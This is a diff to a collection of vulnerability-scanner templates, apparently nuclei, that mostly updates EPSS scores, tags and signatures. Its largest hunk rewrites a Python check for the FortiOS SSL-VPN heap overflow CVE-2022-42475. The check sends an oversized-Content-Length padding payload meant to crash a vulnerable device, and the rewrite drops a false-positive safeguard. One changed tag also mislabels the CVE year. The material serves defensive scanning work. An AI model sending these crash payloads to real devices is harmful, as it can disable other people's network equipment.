+# digest: 4a0a00473045022100c7bc99ba5cc3d543c53777ced4301fa9ece255d153202432c143fedcfab4955602206bc1d563f849b0db4fdcec3fc5d0fbf18372948eefe863ebdd7828364902ebe5:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/disable-root-access.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances with root access enabled"'
-# digest: 4b0a00483046022100f207075f7fb72babf0c77967aa1a0aecaecb83b2432bf71477b57a0c810f30a4022100f861b48c21882fec2e8b153fc922515644690029a3cfcc6200cb6b3bc34658bc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203fafa09fd627295440cda0833154e362ad16f53551c11446c640eef34c1cd7e8022100a848ce9d7e2f458fe5454494e88df994cefe9ed2657c893fd8d7ac46091c6783:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-secure-boot.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Secure Boot enabled"'
-# digest: 4a0a0047304502207866f5d4ad7aba081232ed70b2ca4e104f7d781d1320b152cad1ada406601b4e022100dfebaafce7a40c3fa12304f63b34dd7d758108f65204e752139ec65d6dfd8bb0:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210082e89eb94bc0d7ab464530e9adc73c736fa580813fb37e4c135b491da8598f13022100e361b6ec75ffff463f72c5ab9af82594fa3bac07639c3147ede1fa6c2374cb6c:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-vtpm.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Virtual Trusted Platform Module (vTPM) enabled"'
-# digest: 4a0a0047304502200a062fbf1e24e81fed35d1e0da64536f63b695ad66c7c4ed40d8dbe2d5c6350702210085620cf4d8a4001277295a946d3c7fdbfe48d5c4211da71d13494be91f5b323f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008daab33ee8514bd0a358a39a0c7d5230d9f00695fc2dafcea6cb20b78efe6c1a022100f29c8980ff8d878cdca0220035201e74e8670496e896f4e8c4b6a1f41675ae13:922c64590222798bb761d5b6d8e72950
@@ -1,70 +0,0 @@
-id: k8s-clusterrole-nodes-proxy-rce
-
-info:
-  name: ClusterRoles with Risky nodes/proxy GET Permission
-  author: princechaddha
-  severity: high
-  description: |
-    Detects Kubernetes ClusterRoles that grant GET permission on nodes/proxy resource.
-    Due to an authorization inconsistency in Kubelet, the nodes/proxy GET permission allows
-    execution of commands in any container via WebSocket connections to the Kubelet API.
-    The Kubelet authorizes based on the initial HTTP GET method of WebSocket handshake
-    rather than the actual operation (exec/run/attach) which should require CREATE permission.
-  impact: |
-    Service accounts with nodes/proxy GET permission can potentially execute commands in any
-    container if they have network access to the Kubelet API (port 10250). This bypasses
-    expected RBAC controls and audit logging.
-  remediation: |
-    Remove nodes/proxy GET permissions from ClusterRoles unless absolutely necessary.
-    Restrict network access to Kubelet port 10250 and implement network policies.
-  reference:
-    - https://grahamhelton.com/blog/nodes-proxy-rce
-  tags: cloud,devops,kubernetes,devsecops,rbac,k8s,k8s-cluster-security
-
-flow: |
-  code(1);
-  for (let role of template.items) {
-    set("role", role)
-    javascript(1);
-  }
-
-self-contained: true
-code:
-  - engine:
-      - sh
-      - bash
-    source: kubectl get clusterrole --output=json
-    extractors:
-      - type: json
-        name: items
-        internal: true
-        json:
-          - '.items[]'
-
-javascript:
-  - code: |
-        let role = JSON.parse(template.role);
-        let riskyRules = 0;
-        if (role.rules) {
-          role.rules.forEach(rule => {
-            let apiGroups = rule.apiGroups || [];
-            let resources = rule.resources || [];
-            let verbs = rule.verbs || [];
-            let isCoreApiGroup = apiGroups.includes("") || apiGroups.includes("*");
-            let hasNodesProxy = resources.includes("nodes/proxy") || resources.includes("*");
-            let hasGetVerb = verbs.includes("get") || verbs.includes("*");
-            if (isCoreApiGroup && hasNodesProxy && hasGetVerb) {
-              riskyRules++;
-            }
-          });
-        }
-        if (riskyRules > 0) {
-          let result = (`ClusterRole '${role.metadata.name}' has ${riskyRules} rule(s) granting 'nodes/proxy' GET permission in core API group, allowing potential RCE via Kubelet.`);
-          Export(result);
-        }
-
-    extractors:
-      - type: dsl
-        dsl:
-          - response
-# digest: 4a0a00473045022100cf472116d86502fb62d55139553bddb302af32a62f5d97a692534391ead1659f02207a776d50650ff39e152e39cc48109ff7963ec2db0d4ad2b03100258ea77dd32d:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
  metadata:
    verified: true
  classification:
-    epss-score: 0.99999
-    epss-percentile: 0.99997
+    epss-score: 0.94464
+    epss-percentile: 0.99995
  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln

 variables:
@@ -111,7 +111,7 @@ code:
          # Parse the URL
          parsed_url = urlparse(url)
          host = parsed_url.hostname
-          port = parsed_url.port if parsed_url.port else 80 if parsed_url.scheme == "http" else 443
+          port = parsed_url.port if parsed_url.port else 443

          if not host:
              return
@@ -142,4 +142,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 490a00463044022025fb32d50429e79a55671250d74099d03da47ce3216da49f1db8eab5c9ebd14402203d93330779bb4fb3553f3a283924d426ff05be56b0b7a038150bce3807037d13:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b436f195027bee97d8fcd6f4ce6891122a37062acee6c86a62ef9fe7822dc81d0221008b13457977e0b7019a8bb7f1014157f889ad44a6a8a4131b269d78add72a7697:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-8735
-    epss-score: 0.90338
-    epss-percentile: 0.99785
+    epss-score: 0.93967
+    epss-percentile: 0.99877
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    shodan-query: product:"tomcat"
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
-    epss-score: 0.99686
-    epss-percentile: 0.99948
+    epss-score: 0.94508
+    epss-percentile: 1
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
@@ -108,4 +108,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4b0a004830460221008910bc02234abc45ab9b1fb4439f3ef5af5db60c5d977de5770944115be930df022100d1f71932410d529654794405ec53fb4a9c0f45414571741a73b6e03adeefc82a:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022065ba47069c9c8be3b8b20baaf07cc1e5bd514548908b83d01cc1ed3f1949960d022016d51765b84d48fd3df32d1a4484ef6b46775a4012de24f85c653381d9ff9fba:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
-    epss-score: 0.99913
-    epss-percentile: 0.99966
+    epss-score: 0.94441
+    epss-percentile: 0.99989
  metadata:
    verified: true
    vendor: microsoft
@@ -156,4 +156,4 @@ code:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
-# digest: 4a0a00473045022100c74a382266e9dfdb3d03b6cc09a7cf9ddad7fd5c1fcc3427e624e70f2114eac7022053fa76d4023747107597a44ebb2e2530e2d8d8b913d65d7551c328c33fa2ebb1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e3197ee26d9a33ce29fd4c4d0641965e50f542e4fb7bb0f5ba6941627d2dcf0502201f3daf9691d36d40df94de608d0e527a506b79315ccff56abb94fe6d8df1446e:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
-    epss-score: 0.63917
-    epss-percentile: 0.99123
+    epss-score: 0.86126
+    epss-percentile: 0.9937
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -51,4 +51,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 4a0a004730450221009f95a64653539c27c17d96b8dec42d6a4c345813e34945aec95c8303977ab697022027b0914a15a733ce01ccdace0c37a6e651b2c686144d929736ad3d2254f8e04d:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205a1532426ed19347b452225a0f3488667f1fcc3b8a77ab0a198e1c9ab948864b02202941ac1caf800281019c229052467f74d03640a1dd9402e8222cd875a20143a7:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
-    epss-score: 0.99193
-    epss-percentile: 0.99929
+    epss-score: 0.93865
+    epss-percentile: 0.9986
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
    verified: true
@@ -106,4 +106,4 @@ code:
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
-# digest: 4a0a0047304502207162f761e3d8ddc260f7d3f67120120f8b615d0a94070bd2fad50ba2d30da7c9022100bac50b9c69fbd7c5dad760e65dd37125ee8d8586bdca7fa75f1b0bafd1912d38:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022047e6c94723d8391e9af3fcf67272f7fe875ae0b7b5ca16be6a30cb5b26436bfb02207d3369bab78d5407e1c4036d03f43da265d5706bdfe4284c45131c20a74e7ba4:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
-    epss-score: 0.87553
-    epss-percentile: 0.99736
+    epss-score: 0.92155
+    epss-percentile: 0.99694
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.99295
-    epss-percentile: 0.99933
+    epss-score: 0.9246
+    epss-percentile: 0.99717
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -44,4 +44,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 4b0a00483046022100ab0a7ac942d47cd091d970fb33bf7349e9209b77c786e722f790a2d218f2ca41022100b7848035d28482d955ed57ef2669ef1dfa2b1702be8df9421af1fd6fd469fe2f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cf68bef267bf874af8eaf6585cf3edbd4abb727e174d71e6efa53ab8dec0cc33022100ce13c81d06a4a44c284daf7d8c381abc80db7b80f4cabda7fec16bb3286824fe:922c64590222798bb761d5b6d8e72950
@@ -24,8 +24,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
-    epss-score: 0.99474
-    epss-percentile: 0.99938
+    epss-score: 0.94005
+    epss-percentile: 0.99885
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -38,8 +38,7 @@ info:
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash="945408572"
-  tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
-
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
 flow: http () && code()

 http:
@@ -65,226 +64,139 @@ code:

    source: |
        import sys, os, time, socket, ssl
-
        PADDING        = 0x4141414141414141
        PADDING_LEN    = 1024*12
        CONTENT_LENGTH = b"4294967297"

-        # Configuration for false positive prevention
-        POST_EXPLOIT_WAIT = 2       # Seconds to wait before post-exploit check
-        POST_EXPLOIT_RETRIES = 3    # Number of retries for post-exploit connectivity
-        CONNECTIVITY_TIMEOUT = 5    # Timeout for connectivity checks
-
        class SSLVPNExploit:
          def __init__(self, host, port):
            self.host = host
            self.port = port
-            self.useSSL = os.getenv("Scheme") == "https"
-
-          def create_socket(self, timeout=2.0):
-            """Create a new socket connection"""
-            try:
-              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-              sock.settimeout(timeout)
-              if self.useSSL:
-                ctx = ssl._create_unverified_context()
-                sock = ctx.wrap_socket(sock)
-              sock.connect((self.host, self.port))
-              return sock
-            except Exception as e:
-              return None
-
-          def check_connectivity(self, timeout=CONNECTIVITY_TIMEOUT):
-            """
-            Check if target is responsive with a simple GET request.
-            Returns: (success: bool, response_time: float)
-            """
-            try:
-              start_time = time.time()
-              sock = self.create_socket(timeout)
-              if sock is None:
-                return False, 0
-
-              get_req = b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
-              get_req += b"\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"
-
-              sock.sendall(get_req)
-              sock.settimeout(timeout)
-              response = sock.recv(4096)
-              elapsed = time.time() - start_time
-              sock.close()
-
-              return len(response) > 0, elapsed
-            except Exception as e:
-              return False, time.time() - start_time
-
-          def check_by_get(self):
-            """Pre-flight connectivity check"""
-            print("[>] Pre-flight connectivity check...")
-            success, elapsed = self.check_connectivity()
-            if success:
-              print(f"[+] Target is responsive (response time: {elapsed:.2f}s)")
-              return True
+          def connect(self):
+            tries = 1
+            if os.getenv("Scheme") == "https":
+              useSSL = True
+              print("[+] Using SSL/TLS")
            else:
-              print("[!] Target is not responsive - cannot test")
-              return None
+              useSSL = False
+              print("[+] Unencrypted connection")
+            while tries <= 6:
+              try:
+                print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
+                self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                if useSSL == True:
+                  ctx = ssl._create_unverified_context()
+                  self.socket = ctx.wrap_socket(self.cleartext_socket)
+                else:
+                  self.socket = self.cleartext_socket
+                self.socket.settimeout(2.0)
+                self.socket.connect((self.host, self.port))

-          def send_exploit_payload(self):
-            """
-            Send the exploit payload and analyze the response.
-            Returns: (result_type: str, elapsed_time: float, details: str)
-            Result types: 'PATCHED', 'TIMEOUT', 'EMPTY_RESPONSE', 'CONNECTION_DROP', 'ERROR'
-            """
-            req = bytearray(b"")
-            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
-            req += b"\r\nContent-Length: " + CONTENT_LENGTH
-            req += b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
-            req += b"AAAAAAAA" * PADDING_LEN
+                return self.socket
+              except socket.timeout as e:
+                tries += 1
+                print("Connection timeout!")
+                continue
+              except Exception as e:
+                print("Unknown error!")
+                print(e)
+                return None
+            return None
+          def check_by_get(self):
+            get_req = bytearray(b"")
+            get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"

+            print("[>] Sending GET first")
+            if self.connect() == None:
+              print("[!] Error connecting to target")
+              exit(1)
            try:
-              sock = self.create_socket(timeout=10)
-              if sock is None:
-                return 'ERROR', 0, 'Could not connect'
+              self.socket.sendall(get_req)

-              start_time = time.time()
-              sock.sendall(req)
-              sock.settimeout(10)
-              buf = sock.recv(1048576)
-              elapsed = time.time() - start_time
-              sock.close()
+              self.socket.settimeout(10)
+              get_buf = self.socket.recv(1048576)

-              if len(buf) == 0:
-                return 'EMPTY_RESPONSE', elapsed, 'Empty response received'
+              if len(get_buf) == 0:
+                print("Error while sending GET. Protocol mismatch?")
+                return None
+              self.socket.close()
+              return True
+            except socket.timeout as e:
+              print("[>] Target waited for more data.")
+              return False

-              if b"413" in buf or b"Request Entity Too Large" in buf:
-                return 'PATCHED', elapsed, 'Target returned 413 - patched'
-
-              return 'UNEXPECTED', elapsed, buf.decode("utf-8", errors="replace")[:200]
-
-            except socket.timeout:
-              return 'TIMEOUT', time.time() - start_time, 'Socket timeout'
            except Exception as e:
-              return 'CONNECTION_DROP', time.time() - start_time, str(e)
-
-          def post_exploit_connectivity_check(self):
-            """
-            Check if target is still responsive after exploit attempt.
-            This is the KEY differentiator between:
-            - Firewall/WAF drop (device still responsive)
-            - Actual crash (device unresponsive)
-
-            Returns: (responsive: bool, details: str)
-            """
-            print(f"[>] Waiting {POST_EXPLOIT_WAIT}s before post-exploit check...")
-            time.sleep(POST_EXPLOIT_WAIT)
-
-            for attempt in range(1, POST_EXPLOIT_RETRIES + 1):
-              print(f"[>] Post-exploit connectivity check (attempt {attempt}/{POST_EXPLOIT_RETRIES})...")
-              success, elapsed = self.check_connectivity(timeout=CONNECTIVITY_TIMEOUT)
-              if success:
-                return True, f"Device responsive after {elapsed:.2f}s"
-              time.sleep(1)
-
-            return False, "Device unresponsive after multiple attempts"
+              print("[>] Target dropped the connection during test GET, which indicates a communication error!")
+              print(e)
+              return None

          def is_vulnerable(self):
-            """
-            Improved vulnerability detection with false positive prevention.
+            req = bytearray(b"")
+            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+            req += b"AAAAAAAA"*(PADDING_LEN)

-            Detection logic:
-            1. If target returns 413 -> PATCHED (not vulnerable)
-            2. If target times out waiting for data -> NOT VULNERABLE
-            3. If connection drops/empty response:
-               a. Check if device is still responsive
-               b. If responsive -> FALSE POSITIVE (firewall/WAF dropped connection)
-               c. If unresponsive -> LIKELY VULNERABLE (device crashed)
-            """
-            print("[>] Sending exploit payload...")
-            result, elapsed, details = self.send_exploit_payload()
+            print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
+            if self.connect() == None:
+              print("[!] Error connecting to target")
+              exit(1)

-            print(f"[>] Exploit result: {result} (elapsed: {elapsed:.2f}s)")
-            print(f"[>] Details: {details[:100]}...")
+            try:
+              # Send the payload. Vuln instances will crash, severing the connection and
+              # causing an exception to be thrown here.
+              self.socket.sendall(req)

-            # Case 1: Target is patched (413 response)
-            if result == 'PATCHED':
-              print("[+] Target is PATCHED - returned 413 Request Entity Too Large")
-              return False
+              # If this read succeeds then the target is probably not vulnerable.
+              # If it times out, then it's also probably not vulnerable.
+              self.socket.settimeout(10)
+              buf = self.socket.recv(1048576)

-            # Case 2: Target waited for more data (timeout)
-            if result == 'TIMEOUT':
-              print("[+] Target waited for more data - NOT VULNERABLE")
-              return False
+              # If the remote end disconnects without an HTTP response then it's vulnerable.
+              if len(buf) == 0:
+                  return True

-            # Case 3: Connection drop or empty response - NEEDS VERIFICATION
-            if result in ('EMPTY_RESPONSE', 'CONNECTION_DROP'):
-              print("[!] Connection dropped or empty response - verifying if this is a false positive...")
+              # Check to see if it has the vendor patch applied
+              if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
+                  print("[>] Target is patched.")
+                  return False # 100% confidence that it's not vulnerable.

-              # KEY FIX: Check if device is still responsive
-              responsive, check_details = self.post_exploit_connectivity_check()
-
-              if responsive:
-                # Device is still responsive = Firewall/WAF dropped the connection
-                print(f"[!] FALSE POSITIVE DETECTED: {check_details}")
-                print("[!] Device is still responsive after exploit attempt")
-                print("[!] This indicates firewall/IPS/WAF intervention, NOT a crash")
-                return False  # NOT VULNERABLE - false positive
-              else:
-                # Device is unresponsive = Possible crash
-                print(f"[+] Device appears to have crashed: {check_details}")
-                print("[+] Target may be VULNERABLE (device unresponsive after exploit)")
-                return True  # LIKELY VULNERABLE
-
-            # Case 4: Unexpected response
-            if result == 'UNEXPECTED':
-              print(f"[?] Unexpected response received - manual review needed")
-              print(f"[?] Response: {details}")
+              # Ok, something weird and unexpected happened.
+              print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
+              print("----- BEGIN RESPONSE -----")
+              print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
+              print("----- END RESPONSE -----")
+              self.socket.close()
              return None

-            # Case 5: Error
-            print(f"[!] Error during exploit: {details}")
-            return None
+            except socket.timeout as e:
+              print("[>] Target waited for more data. Not vulnerable.")
+              return False
+            except Exception as e:
+              print("[>] Target dropped the connection, which indicates a vulnerable device!")
+              print(e)
+              return True

        if __name__ == '__main__':
-          host = os.getenv("Host")
-          port = int(os.getenv("Port"))
-
-          print("=" * 60)
-          print("CVE-2022-42475 - Fortinet SSL-VPN Heap Overflow Check")
-          print("(With False Positive Prevention)")
-          print("=" * 60)
-          print(f"[*] Target: {host}:{port}")
-          print(f"[*] SSL/TLS: {os.getenv('Scheme') == 'https'}")
-
+          host=os.getenv("Host")
+          port=int(os.getenv("Port"))
          exploit = SSLVPNExploit(host, port)
-
-          # Step 1: Pre-flight connectivity check
          check = exploit.check_by_get()
-          if check != True:
-            print("[!] Pre-flight check failed - target unreachable")
-            exit(1)

-          # Step 2: Vulnerability check with false positive prevention
-          result = exploit.is_vulnerable()
+          if check == True:
+            result = exploit.is_vulnerable()
+            if result == None:
+              print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
+              exit(2)

-          if result == None:
-            print("[!] An error occurred testing for the vulnerability.")
-            print("[!] Is this even a FortiGate SSL-VPN?")
-            exit(2)
+            if result == True:
+              print("[+] Target appears to be VULNERABLE")
+              exit(0)

-          if result == True:
-            print("=" * 60)
-            print("[+] Target appears to be VULNERABLE")
-            print("[+] Device became unresponsive after exploit payload")
-            print("=" * 60)
-            exit(0)
-          else:
-            print("=" * 60)
-            print("[+] Target is NOT vulnerable")
-            print("=" * 60)
-            exit(1)
+            else:
+              print("[+] Target is NOT vulnerable")
+              exit(1)

    matchers:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
-# digest: 490a0046304402203a594ca86728ad75290e4473c074d814b8eef20d8dae6a0d74a8e34835d9b8ed02202277f1b2746b99d80032baca203562d0d4116d9dd34f0ddf7a6de61ea66dfb0c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b1d6c98e5bfe8e9c1148cabd2c587c079c78e2cf5620290daab2d53e25b8e0f5022100d760d713e1f2de8512fdf6ab34a7d804ef54c0e90502d01810e8a770ad20a98b:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-2640
    cwe-id: CWE-863
-    epss-score: 0.15783
-    epss-percentile: 0.96475
+    epss-score: 0.91622
+    epss-percentile: 0.99659
    cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 4a0a0047304502206db6fef55e0ea3720c171e24875022bc0c0b28fa1e8929bdb072f45c0ad3e787022100dedf028ad02b954b6ff47a920377b8a14bf24d77342839802e179f408530a0a0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022036f53f6f1da2e88e2ffdf8327dd423086baf9a6a9bd2d8e63a447744bcba6bd4022100e98211341607b3aa60fa83717f9502a6330d22dbd56bb100c552b270c6eaf52b:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2986
-    epss-score: 0.41077
-    epss-percentile: 0.98492
+    epss-score: 0.92255
+    epss-percentile: 0.99704
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -630,4 +630,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 490a0046304402204d23bc6ccef12b3347fdbd3ddff22740de748e8fe21616207c13d46631915f94022044d6027dd10783cec3bfa982a825a050cb7c0f93c2bed2d5eb4e8af1e3a432ba:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b8334143d2737742b1246dfd20e66ce67eda5e71c7e0b83465151be2f5298da702202b2f0920c4ee7aee513db1e58027f5ce51b45c12a7b9cddf0e149f9e45033ac5:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
-    epss-score: 0.11074
-    epss-percentile: 0.95394
+    epss-score: 0.89605
+    epss-percentile: 0.99534
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -94,4 +94,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 490a00463044022042a5d3d6ba444a5d13ebc2b14e726017a1a1628d159defe06f1fd784754adf4002207eaaf24acd794eef00b23fc181eed45312960ea935f5c00f5783b5675079f80e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b63b618d5b79bf9348a674539fa3c440794a62aba7d6a4e82e67883f14d61c31022100a6763f4a594087ced27aa62694692fc9cf5b0fa553edacecc991ce8fb1ca8dc4:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.81422
-    epss-percentile: 0.99594
+    epss-score: 0.69791
+    epss-percentile: 0.98608
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a00473045022100eebfe3b3bef10d31b6567c5d98fe4ff8a29196ae0bb28b40997cb38a0ac6750202202102070abe91d318e863d75b536aeb56a24ce2adfa23f0e2170cb9a4fad316e4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220692d91239d4d8d90398523ed32a09e20eaadb1a26b3c8b627c23f324ea17238b022100c283b35e540a3c1071d51c5d39983e4d97c63cf6549f73fee8e056fbf64d0faf:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.04794
-    epss-percentile: 0.9087
+    epss-score: 0.24316
+    epss-percentile: 0.95911
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 4a0a004730450220159eaaa8ffa7ab7226c8015d7e96ddb3267c41b3e684a1ee2d99321f3182fbf9022100e0597ce6c9a0432c3168a1210aefa6b239b053a6b3e6a764e11e7ed807026e7d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d47d39332ccbb47f3af344287706f98f7ff668b94581efa73778623827c7cf1a022100ace85668470d93aa510c25544cd66dff09df8f2b4af581eecf1c7d0c869e27e5:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.2838
-    epss-percentile: 0.97889
+    epss-score: 0.70846
+    epss-percentile: 0.98649
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
    verified: true
@@ -58,4 +58,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
-# digest: 4a0a0047304502207859036fd3efae7fa01fa07b35bf51d43362e12a6a70c185927e3b4751f9375e022100e79b6014d8afb56f5d2a7270963654a1992cfdc281dba772364157f3fd93b60c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d10464d4e2151dbfa2d289f623d4d1ec505347ac08da3a7655daced02b23b9e4022028d51e5ca6a059d57d2d24ba619c409dbe388d21eb39e7625e9ef4970250566b:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
-    epss-score: 0.87991
